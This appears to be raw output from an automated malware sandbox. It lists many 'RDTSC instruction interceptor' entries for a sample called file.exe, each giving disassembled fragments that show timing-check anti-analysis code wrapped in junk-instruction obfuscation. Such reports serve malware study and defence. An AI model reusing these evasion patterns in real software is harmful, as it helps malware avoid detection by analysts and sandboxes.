Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BD269 second address: 5BD272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BD272 second address: 5BD282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E9641F1Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BD282 second address: 5BD2AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F32E8D838E8h 0x0000000c jmp 00007F32E8D838DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BD436 second address: 5BD43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BD43A second address: 5BD456 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BD456 second address: 5BD487 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F28h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F32E9641F25h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BD487 second address: 5BD48B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BD48B second address: 5BD491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BD5E4 second address: 5BD5E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BD5E8 second address: 5BD5F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5BD5F2 second address: 5BD628 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DDh 0x00000007 jnl 00007F32E8D838D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edi 0x00000010 je 00007F32E8D838F8h 0x00000016 push eax 0x00000017 push edi 0x00000018 pop edi 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F32E8D838E2h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50BE69 second address: 50BE6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50BE6F second address: 50BE75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5C3A2A second address: 5C3A2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5C3A2F second address: 5C3A35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5C3A35 second address: 5C3A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jo 00007F32E9641F1Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CB921 second address: 5CB932 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jl 00007F32E8D838E0h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CBE60 second address: 5CBE7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CBE7A second address: 5CBE80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CBE80 second address: 5CBE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CBFEA second address: 5CC010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E8D838DCh 0x00000009 popad 0x0000000a jns 00007F32E8D838D8h 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jnp 00007F32E8D838D6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CC010 second address: 5CC01C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CC01C second address: 5CC021 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CC197 second address: 5CC19D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CC636 second address: 5CC643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F32E8D838D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CC643 second address: 5CC647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CC647 second address: 5CC654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CCD8D second address: 5CCD91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CD530 second address: 5CD534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CD534 second address: 5CD538 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CB30B second address: 5CB329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F32E8D838E3h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5CB329 second address: 5CB342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jne 00007F32E9641F22h 0x0000000d jg 00007F32E9641F16h 0x00000013 jl 00007F32E9641F16h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5D29DB second address: 5D29DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5D2C88 second address: 5D2CA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E9641F24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5D2CA0 second address: 5D2CB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F32E8D838E0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E091D second address: 5E093A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F32E9641F21h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E093A second address: 5E093E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E093E second address: 5E0944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E0944 second address: 5E0959 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E8D838E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E0452 second address: 5E0462 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F32E9641F16h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E0462 second address: 5E0466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E0466 second address: 5E046A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E29C5 second address: 5E29CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E29CC second address: 5E29ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E9641F29h 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E2696 second address: 5E26A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F32E8D838D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E26A2 second address: 5E26A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E26A8 second address: 5E26AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E9799 second address: 5E979F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E979F second address: 5E97A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5FEAE0 second address: 5FEAE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5FD51C second address: 5FD522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5FE804 second address: 5FE809 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 60247C second address: 6024A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F32E8D838E7h 0x0000000c popad 0x0000000d pushad 0x0000000e jnp 00007F32E8D838DEh 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6024A6 second address: 6024B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6024B6 second address: 6024BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 60E405 second address: 60E422 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F27h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 612D1B second address: 612D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F32E8D838D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 612D25 second address: 612D67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F21h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007F32E9641F1Bh 0x00000013 js 00007F32E9641F16h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F32E9641F24h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 616EA8 second address: 616EBE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F32E8D838DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 616EBE second address: 616EC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6115B0 second address: 6115DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E5h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F32E8D838D8h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6115DA second address: 6115E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F32E9641F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6115E4 second address: 611610 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DFh 0x00000007 jmp 00007F32E8D838E9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63F33D second address: 63F344 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63E33E second address: 63E354 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F32E8D838D6h 0x00000008 jmp 00007F32E8D838DCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63E354 second address: 63E35C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63E35C second address: 63E360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6432C6 second address: 6432E1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F32E9641F18h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F32E9641F1Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 643588 second address: 643599 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F32E8D838D8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 643995 second address: 643999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 644EFA second address: 644F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 644F02 second address: 644F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 644F0A second address: 644F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F503CB second address: 4F503E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E9641F24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F503E3 second address: 4F50410 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov si, C0EBh 0x00000011 mov edi, eax 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 mov esi, edx 0x00000018 mov cx, bx 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov si, E089h 0x00000024 mov ebx, ecx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F50410 second address: 4F5048D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F32E9641F21h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov di, 65EEh 0x00000012 push edx 0x00000013 mov eax, 0AE78AA1h 0x00000018 pop eax 0x00000019 popad 0x0000001a mov edx, dword ptr [ebp+0Ch] 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F32E9641F23h 0x00000024 adc eax, 4247734Eh 0x0000002a jmp 00007F32E9641F29h 0x0000002f popfd 0x00000030 mov ah, 6Bh 0x00000032 popad 0x00000033 mov ecx, dword ptr [ebp+08h] 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F32E9641F25h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F5048D second address: 4F50493 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F800C3 second address: 4F800C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F800C7 second address: 4F800E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F800E4 second address: 4F800EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F800EA second address: 4F800EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F800EE second address: 4F800FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F800FD second address: 4F80101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F80101 second address: 4F8011C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F801D2 second address: 4F801D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F801D8 second address: 4F801E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E9641F1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F80239 second address: 4F80241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, dx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F80241 second address: 4F80247 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F80247 second address: 4F80276 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F32E8D838E7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F80276 second address: 4F7004D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F32E9641F1Ch 0x00000011 add ax, 7888h 0x00000016 jmp 00007F32E9641F1Bh 0x0000001b popfd 0x0000001c movzx ecx, di 0x0000001f popad 0x00000020 leave 0x00000021 jmp 00007F32E9641F1Bh 0x00000026 retn 0004h 0x00000029 nop 0x0000002a cmp eax, 00000000h 0x0000002d setne al 0x00000030 xor ebx, ebx 0x00000032 test al, 01h 0x00000034 jne 00007F32E9641F17h 0x00000036 xor eax, eax 0x00000038 sub esp, 08h 0x0000003b mov dword ptr [esp], 00000000h 0x00000042 mov dword ptr [esp+04h], 00000000h 0x0000004a call 00007F32EE23B353h 0x0000004f mov edi, edi 0x00000051 pushad 0x00000052 jmp 00007F32E9641F1Eh 0x00000057 push eax 0x00000058 jmp 00007F32E9641F21h 0x0000005d pop esi 0x0000005e popad 0x0000005f push ebx 0x00000060 jmp 00007F32E9641F1Ch 0x00000065 mov dword ptr [esp], ebp 0x00000068 jmp 00007F32E9641F20h 0x0000006d mov ebp, esp 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F7004D second address: 4F70051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F70051 second address: 4F7006E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F7006E second address: 4F700A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 63A2h 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push FFFFFFFEh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov esi, 4D21D687h 0x00000016 pushfd 0x00000017 jmp 00007F32E8D838DCh 0x0000001c adc esi, 0B7A0038h 0x00000022 jmp 00007F32E8D838DBh 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F700A4 second address: 4F700AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F700AA second address: 4F700AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F700AE second address: 4F700D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 70B60E6Eh 0x0000000d pushad 0x0000000e mov ebx, ecx 0x00000010 call 00007F32E9641F26h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
